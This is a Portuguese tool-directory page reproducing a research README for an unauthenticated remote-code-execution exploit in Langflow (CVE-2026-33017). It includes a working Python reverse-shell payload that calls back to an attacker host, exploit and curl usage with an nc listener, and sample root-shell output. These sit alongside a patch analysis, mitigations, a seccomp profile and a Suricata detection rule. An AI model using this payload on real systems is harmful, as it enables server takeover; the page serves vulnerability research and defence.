Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33017 — Exploit de PoC para um RCE não autenticado no Langflow <=1.8.1, incluindo análise de causa raiz no nível do código-fonte, payload de reverse shell ciente de AST, laboratório Docker, diff do patch e regras de detecção. | Kitploit
Ferramentas/GitHubGitHub/lxxexxbxx/cve-2026-33017
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Exploit de PoC para um RCE não autenticado no Langflow <=1.8.1, incluindo análise de causa raiz no nível do código-fonte, payload de reverse shell ciente de AST, laboratório Docker, diff do patch e regras de detecção.

Ver Repositório
112há 10 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

Aviso de isenção de responsabilidade
Este repositório foi criado para fins de pesquisa e educação em segurança.
Use apenas em ambientes de laboratório isolados.
O uso em sistemas não autorizados é passível de sanção penal por violação da Lei de Redes de Informação e Comunicação.


1. Visão geral da vulnerabilidade

ItemDescrição
CVE IDCVE-2026-33017
Software vulnerávelLangflow (construtor de fluxos de trabalho de IA)
Versões afetadasLangflow ≤ 1.8.1
Versão corrigidaLangflow ≥ 1.9.0
Tipo de vulnerabilidadeExecução Remota de Código (RCE) sem autenticação
CWECWE-306 (Ausência de Autenticação para Função Crítica)
CVSS9.3 (Crítica)
CISA KEVListada

2. Análise da causa da vulnerabilidade

2-1. Endpoint vulnerável

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Endpoint destinado à compilação de fluxos públicos, projetado para ser acessível sem autenticação.

2-2. Caminho de execução de código (Call Chain)

Caminho de execução confirmado por rastreamento direto do código-fonte:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← recebe a entrada do cliente tal como está (vulnerabilidade)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← repassa os dados do cliente tal como estão
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← execução de código arbitrário

2-3. Filtragem de nós AST — restrição central do design do payload

A função prepare_global_scope() não executa todas as declarações do código submetido. Após o parsing da AST, apenas tipos específicos de nós são selecionados e executados:

root@kitploit:~
# lfx/custom/validate.py — interior de prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ O nó Expr não é incluído em nenhum lugar → não é executado

exec(compiled_code, exec_globals)  # executa apenas definitions
Tipo de nó ASTExemploExecutado?
FunctionDefdef _shell(): ...✅ Sim
ClassDefclass ExploitComponent(Component)✅ Sim
Assign_r = os.system("id")✅ Sim
AnnAssign_r: int = os.system("id")✅ Sim
Expros.system("id") (chamada avulsa)❌ Ignorado

Conclusão: o payload precisa obrigatoriamente ser escrito na forma de Assign (_r = ...) para ser executado.
Uma simples chamada de função (os.system("id")) é classificada como nó Expr e é filtrada.

2-4. Processo de design do payload de reverse shell — análise de tentativas e falhas

Durante o laboratório, diversas abordagens de payload foram testadas e a causa de cada falha foi identificada no nível do código-fonte.

Tentativa 1 — subprocess.Popen + wait() (falhou)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← bloqueando aqui

Causa da falha: a thread de trabalho do Langflow monitora o valor de retorno do componente e, em caso de timeout, fecha o socket à força. O bloqueio _proc.wait() torna-se inútil.

Tentativa 2 — chamada direta de os.execve() (falhou)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Causa da falha: de acordo com as regras POSIX, em um processo multithread, ao chamar execve(), todas as threads, exceto a thread que realizou a chamada, são encerradas → o worker do uvicorn inteiro trava → HTTP 500.

Tentativa 3 — os.fork() + execve() (falhou)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Causa da falha: o uvicorn detecta o processo filho como encerrado de forma anormal e reinicia o worker → HTTP 500.

Tentativa 4 — threading.Thread(daemon=True) (falhou)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

Causa da falha: uma thread com daemon=True é destruída junto com a thread principal (worker do Langflow) quando esta termina. A thread morre antes mesmo da tentativa de connect().

Payload funcional final — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → executado
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → executado (como a chamada avulsa de Expr é excluída pelo filtro, é obrigatória a atribuição a uma variável)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Motivo da escolha de daemon=False:

  • daemon=True → é destruída junto com a thread de trabalho do Langflow quando esta termina
  • daemon=False → ciclo de vida independente do worker → permite manter a conexão de socket

3. Configuração do ambiente de laboratório

3-1. Estrutura de arquivos

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # ambiente Langflow 1.8.1 vulnerável
├── Dockerfile.attacker     # contêiner do atacante (inclui curl, nc, net-tools)
├── docker-compose.yml      # servidor vulnerável + contêiner do atacante
├── entrypoint.sh           # inicia o Langflow e cria automaticamente um fluxo público
├── exploit.py              # PoC de reverse shell
└── poc.py                  # Blind RCE / verificação da existência da vulnerabilidade

3-2. Inicialização do ambiente

root@kitploit:~
# 1. Compilar e iniciar o contêiner
docker compose up --build

# 2. Verificar o acesso à interface web do Langflow
# http://localhost:7860
# admin / admin123!

# 3. Verificar o IP do contêiner
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Configuração de rede

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (vítima)   │
│  langflow-attacker   172.19.0.3       (atacante) │
└──────────────────────────────────────────────────┘

4. Uso do PoC

4-1. exploit.py — reverse shell

Execute dentro do contêiner do atacante:

root@kitploit:~
docker exec -it langflow-attacker bash

# modo automático (obtenção de token + criação de fluxo público + listener integrado)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Opções:

OpçãoDescriçãoPadrão
--urlURL do Langflow alvoObrigatório
--lhostIP de callback do reverse shellObrigatório
--lportPorta de callback do reverse shellObrigatório
--flow-idUUID do fluxo público (criado automaticamente se omitido)automático
--userID do administradoradmin
--passwordSenha do administradoradmin123!
--no-listenDesativa o listener integrado (ao usar nc externo)False
--timeoutTimeout HTTP (segundos)30

Saída esperada:

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] Fazendo login... (admin)
[*] Token obtido com sucesso
[*] Criando fluxo público...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] Listener iniciado → 0.0.0.0:4444
[*] Endpoint   : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] Callback   : 172.19.0.3:4444
[*] Enviando payload...
[*] Resposta HTTP: 200

[+] Shell conectado  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — verificação de Blind RCE

Use para verificar apenas se a vulnerabilidade existe:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. Reprodução manual com curl

root@kitploit:~
# 1. Obter token + criar fluxo público
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. Listener nc (terminal 1)
nc -lvnp 4444

# 3. Enviar payload (terminal 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. Distinção de papéis entre exploit.py e poc.py

Itemexploit.pypoc.py
ObjetivoObter reverse shellVerificar a existência da vulnerabilidade (Blind RCE)
Confirmação do resultadoDireto no terminal do atacanteLogs do servidor / OOB
ListenerIntegradoDesnecessário
Múltiplos alvosNão suportadoSuportado (--url-file)
Uso no laboratórioProvar o impactoProvar a existência da vulnerabilidade

6. Análise do patch — 1.8.1 vs 1.9.1

6-1. Código vulnerável (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← recebe a entrada do cliente
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← repassa os dados do cliente diretamente para o pipeline de build
        ...
    )

6-2. Código corrigido (1.9.1)

langflow/api/v1/chat.py (confirmado diretamente no código-fonte):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data completamente removido da assinatura do parâmetro
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← None codificado diretamente, bloqueando totalmente a entrada do cliente
        source_flow_id=flow_id,  # ← carrega a definição do fluxo somente do banco de dados
        ...
    )

6-3. Comparação de comportamento antes/depois do patch

Item1.8.1 (vulnerável)1.9.1 (corrigido)
Recebimento do parâmetro data✅ Recebe❌ Removido da assinatura
Execução da definição de nós do cliente✅ Possível❌ Impossível
Origem da definição do fluxoCorpo da requisição do clienteSomente valores salvos no banco
RCE sem autenticação✅ Bem-sucedida❌ Bloqueada
Resposta HTTP200 + shell conectado200 (build vazio, sem nós)

6-4. Avaliação do design do patch

O motivo pelo qual a abordagem de remover o próprio parâmetro, em vez de apenas validar a entrada, é a correta:

root@kitploit:~
Design vulnerável: entrada do cliente → validação → execução  (possibilidade de contornar a validação)
Design corrigido:   entrada do cliente → completamente ignorada
                    apenas fluxo salvo no DB → execução         (o vetor de ataque é removido por completo)

7. Medidas de remediação

Medida 1 — Atualização de versão (solução definitiva)

root@kitploit:~
pip install langflow==1.9.1

Medida 2 — Bloquear o endpoint no proxy reverso Nginx

Local do arquivo: nginx.conf (novo)

root@kitploit:~
server {
    listen 80;

    # Bloqueia o endpoint vulnerável CVE-2026-33017
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

Atenção: a exposição direta da porta 7860 do Langflow também deve ser bloqueada para que a medida seja eficaz.

Medida 3 — Bloquear o endpoint no proxy reverso Apache

Local do arquivo:

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

Medida 4 — Política de não utilização de fluxos públicos

Sem fluxos públicos, o endpoint retorna 404, impossibilitando o ataque.
Proíba a criação de fluxos públicos como política operacional ou altere os fluxos existentes para PRIVATE.

Medida 5 — Security Group da AWS (nível de rede)

Com base em ambiente EC2:

root@kitploit:~
Regras de entrada:
  porta 7860 → permitir somente IPs autorizados (remover 0.0.0.0/0)

Medida 6 — Bloquear tráfego de saída do contêiner (bloquear callback do reverse shell)

Mesmo que o RCE tenha sucesso, bloqueie o callback externo:

root@kitploit:~
# bloqueia o tráfego de saída do contêiner langflow
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

ou docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

Medida 7 — Hardening do contêiner (minimização de danos)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

Bloqueie syscalls perigosas com um perfil seccomp (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

Resumo das medidas de remediação

MedidaTipoEfeito
Atualização para 1.9.1Solução definitivaRemoção do parâmetro data
Bloqueio via Nginx/ApacheBloqueio de acessoBloqueia o vetor de ataque
Não uso de fluxos públicosBloqueio de acessoEndpoint retorna 404
AWS Security GroupBloqueio de redeBloqueia acesso externo na origem
Bloqueio de saídaBloqueio pós-exploraçãoBloqueia o callback do reverse shell
Hardening do contêinerMinimização de danosBloqueio de privilégios/syscalls

8. Detecção — IoCs

Padrões de detecção

Requisição HTTP suspeita:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Padrões de log do servidor Langflow:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Regra Suricata/Snort

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. Referências

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Commit oficial do patch do Langflow
  • CISA KEV
  • JFrog Security Research

10. Diferenciais em relação aos PoCs públicos existentes

Este repositório não se limita à execução de um PoC; por meio de análise em nível de código-fonte, os seguintes pontos adicionais foram identificados:

  1. Descoberta da filtragem de nós AST
    Confirmado por análise do código-fonte que prepare_global_scope() de lfx/custom/validate.py ignora nós Expr. Com isso, identificou-se por que o payload de simples chamada de função dos PoCs públicos existentes falha neste ambiente.

  2. Análise das causas das falhas de payload
    As causas das falhas de quatro abordagens — Popen+wait(), execve(), fork()+execve() e thread daemon=True — foram analisadas sob a perspectiva da estrutura multithread do uvicorn e das regras POSIX.

  3. Confirmação direta do código do patch
    O hardcoding de data=None e a remoção do parâmetro em chat.py da versão 1.9.1 foram confirmados no nível do código-fonte, analisando a intenção do design do patch.

Baixar ferramenta